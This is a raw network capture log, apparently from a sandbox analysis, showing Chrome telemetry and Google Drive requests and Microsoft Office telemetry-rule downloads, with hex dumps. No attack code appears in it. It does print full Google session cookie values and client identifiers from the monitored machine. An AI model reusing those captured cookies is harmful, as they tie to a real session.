2024-11-14 19:43:15 UTC	982	OUT	POST /log?format=json&hasfast=true HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 6136 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://drive.google.com X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://drive.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=519=HARCkol9ZnX4w_fr3Y3wIXqkrbs22bPhQWaXqJDGkZ_X47fXtuoyIjJbTsaFAR9Xf91spZFcHrLh5EdnCKTyD1ksW48L3IoUPshpeAOCIXr0E3nIliBh7ioYT-1_61fpewGFIyfFt2E6x99zvhSFXAOar1EFDjL6oJrIK_E0t8KBoN5xanfMZ_KX256zIsyO
2024-11-14 19:43:15 UTC	6136	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 32 22 5d 2c 5b 34 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 31 38 39 2c 5b 5b 22 31 37 33 31 36 31 33 33 39 33 34 32 30 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,null,null,null,null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.132"],[4,0,0,0,0]]],189,[["1731613393420",null,null,null,
2024-11-14 19:43:15 UTC	496	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: https://drive.google.com Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Content-Type: text/plain; charset=UTF-8 Date: Thu, 14 Nov 2024 19:43:15 GMT Server: Playlog X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-14 19:43:15 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-11-14 19:43:15 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.4	49834	142.250.186.142	443	3244	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-14 19:43:18 UTC	674	OUT	GET /log?format=json&hasfast=true HTTP/1.1 Host: play.google.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=519=HARCkol9ZnX4w_fr3Y3wIXqkrbs22bPhQWaXqJDGkZ_X47fXtuoyIjJbTsaFAR9Xf91spZFcHrLh5EdnCKTyD1ksW48L3IoUPshpeAOCIXr0E3nIliBh7ioYT-1_61fpewGFIyfFt2E6x99zvhSFXAOar1EFDjL6oJrIK_E0t8KBoN5xanfMZ_KX256zIsyO
2024-11-14 19:43:18 UTC	270	IN	HTTP/1.1 400 Bad Request Date: Thu, 14 Nov 2024 19:43:18 GMT Content-Type: text/html; charset=UTF-8 Server: Playlog Content-Length: 1555 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-11-14 19:43:18 UTC	1108	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 30 20 28 42 61 64 20 52 65 71 75 65 73 74 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 400 (Bad Request)!!1</title> <style> *{margin:0;padding:0}html,code{font:15px/22px arial,sans-
2024-11-14 19:43:18 UTC	447	IN	Data Raw: 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 2d 77 65 62 6b 69 74 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 31 30 30 25 20 31 30 30 25 7d 7d 23 6c 6f 67 6f 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 68 65 69 67 68 74 3a 35 34 70 78 3b 77 69 64 74 68 3a 31 35 30 70 78 7d 0a 20 20 3c 2f 73 74 79 6c 65 3e 0a 20 20 3c 61 20 68 72 65 66 3d 2f 2f 77 77 77 2e 67 6f 6f 67 6c Data Ascii: -min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:150px} </style> <a href=//www.googl

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.4	49835	142.250.186.46	443	3244	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-14 19:43:18 UTC	757	OUT	GET /file/d/11kk4glvCJRDeJ3XhdemRR_FFW8tGlSei/docos/p/sync?resourcekey&id=11kk4glvCJRDeJ3XhdemRR_FFW8tGlSei&reqid=0 HTTP/1.1 Host: drive.google.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=519=HARCkol9ZnX4w_fr3Y3wIXqkrbs22bPhQWaXqJDGkZ_X47fXtuoyIjJbTsaFAR9Xf91spZFcHrLh5EdnCKTyD1ksW48L3IoUPshpeAOCIXr0E3nIliBh7ioYT-1_61fpewGFIyfFt2E6x99zvhSFXAOar1EFDjL6oJrIK_E0t8KBoN5xanfMZ_KX256zIsyO
2024-11-14 19:43:18 UTC	862	IN	HTTP/1.1 405 Method Not Allowed Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 14 Nov 2024 19:43:18 GMT Content-Type: text/html; charset=utf-8 Content-Security-Policy: require-trusted-types-for 'script';report-uri https://csp.withgoogle.com/csp/docs-tt Content-Security-Policy: script-src 'report-sample' 'nonce-Tvzohy4qZ5-qTVJJCNoFbw' 'unsafe-inline' 'unsafe-eval' 'strict-dynamic' https: http:;object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/viewer/ Referrer-Policy: strict-origin-when-cross-origin Allow: POST X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Server: GSE Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-14 19:43:18 UTC	516	IN	Data Raw: 62 64 62 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 57 65 62 20 77 6f 72 64 20 70 72 6f 63 65 73 73 69 6e 67 2c 20 70 72 65 73 65 6e 74 61 74 69 6f 6e 73 20 61 6e 64 20 73 70 72 65 61 64 73 68 65 65 74 73 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 30 22 3e 3c Data Ascii: bdb<!DOCTYPE html><html lang="en"><head><meta name="description" content="Web word processing, presentations and spreadsheets"><meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0, user-scalable=0"><
2024-11-14 19:43:18 UTC	1378	IN	Data Raw: 59 37 46 31 34 48 66 35 38 57 62 44 46 48 35 67 22 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 51 4a 62 54 47 61 59 37 46 31 34 48 66 35 38 57 62 44 46 48 35 67 22 3e 2e 67 6f 6f 67 2d 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 7b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 64 69 73 70 6c 61 79 3a 2d 6d 6f 7a 2d 69 6e 6c 69 6e 65 2d 62 6f 78 3b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 7d 2a 20 68 74 6d 6c 20 2e 67 6f 6f 67 2d 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 7d 2a 3a 66 69 72 73 74 2d 63 68 69 6c 64 2b 68 74 6d 6c 20 2e 67 6f 6f 67 2d 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 7d 23 64 72 69 76 65 2d 6c 6f 67 6f 7b 6d 61 72 67 69 6e 3a 31 38 70 78 Data Ascii: Y7F14Hf58WbDFH5g"><style nonce="QJbTGaY7F14Hf58WbDFH5g">.goog-inline-block{position:relative;display:-moz-inline-box;display:inline-block}* html .goog-inline-block{display:inline}*:first-child+html .goog-inline-block{display:inline}#drive-logo{margin:18px
2024-11-14 19:43:18 UTC	1148	IN	Data Raw: 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 64 69 76 20 69 64 3d 22 6f 75 74 65 72 43 6f 6e 74 61 69 6e 65 72 22 3e 3c 64 69 76 20 69 64 3d 22 69 6e 6e 65 72 43 6f 6e 74 61 69 6e 65 72 22 3e 3c 64 69 76 20 73 74 79 6c 65 3d 22 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 2d 38 30 70 78 3b 22 3e 3c 64 69 76 20 69 64 3d 22 64 72 69 76 65 2d 6c 6f 67 6f 22 3e 3c 61 20 68 72 65 66 3d 22 2f 22 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 64 6f 63 73 2d 64 72 69 76 65 6c 6f 67 6f 2d 69 6d 67 22 20 74 69 74 6c 65 3d 22 47 6f 6f 67 6c 65 20 6c 6f 67 6f 22 3e 3c 2f 73 70 61 6e 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 64 6f 63 73 2d 64 72 69 76 65 6c 6f 67 6f 2d 74 65 78 74 22 3e 26 6e 62 73 70 3b 44 72 69 76 65 3c 2f 73 70 61 6e 3e 3c Data Ascii: ></head><body><div id="outerContainer"><div id="innerContainer"><div style="position: absolute; top: -80px;"><div id="drive-logo"><a href="/"><span class="docs-drivelogo-img" title="Google logo"></span><span class="docs-drivelogo-text"> Drive</span><
2024-11-14 19:43:18 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.4	49837	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 19:43:22 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 19:43:23 UTC	471	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 19:43:22 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Wed, 13 Nov 2024 03:39:40 GMT ETag: "0x8DD0394CDDBD898" x-ms-request-id: 406a0d50-a01e-0002-58e4-355074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T194322Z-1749fc9bdbdxm7w9hC1DFWy1k400000000r000000000ctz9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 19:43:23 UTC	15913	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-11-14 19:43:23 UTC	16384	IN	Data Raw: 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 Data Ascii: /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V V="400" T="I32" />
2024-11-14 19:43:23 UTC	16384	IN	Data Raw: 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 68 75 74 64 6f 77 6e 22 20 2f 3e 0d Data Ascii: .0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryShutdown" />
2024-11-14 19:43:23 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 Data Ascii: </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F="Count" /> </C>
2024-11-14 19:43:23 UTC	16384	IN	Data Raw: 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 32 22 20 2f 3e 0d 0a 20 Data Ascii: <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C> <S T="12" />
2024-11-14 19:43:23 UTC	16384	IN	Data Raw: 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 4d 73 6f 50 65 72 73 6f 6e 61 5f 49 4d 73 6f 50 65 72 73 6f 6e Data Ascii: Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="CleanupMsoPersona_IMsoPerson
2024-11-14 19:43:23 UTC	16384	IN	Data Raw: 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 Data Ascii: <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="400"
2024-11-14 19:43:23 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 Data Ascii: </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C> <S T="10" /> </C
2024-11-14 19:43:23 UTC	16384	IN	Data Raw: 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 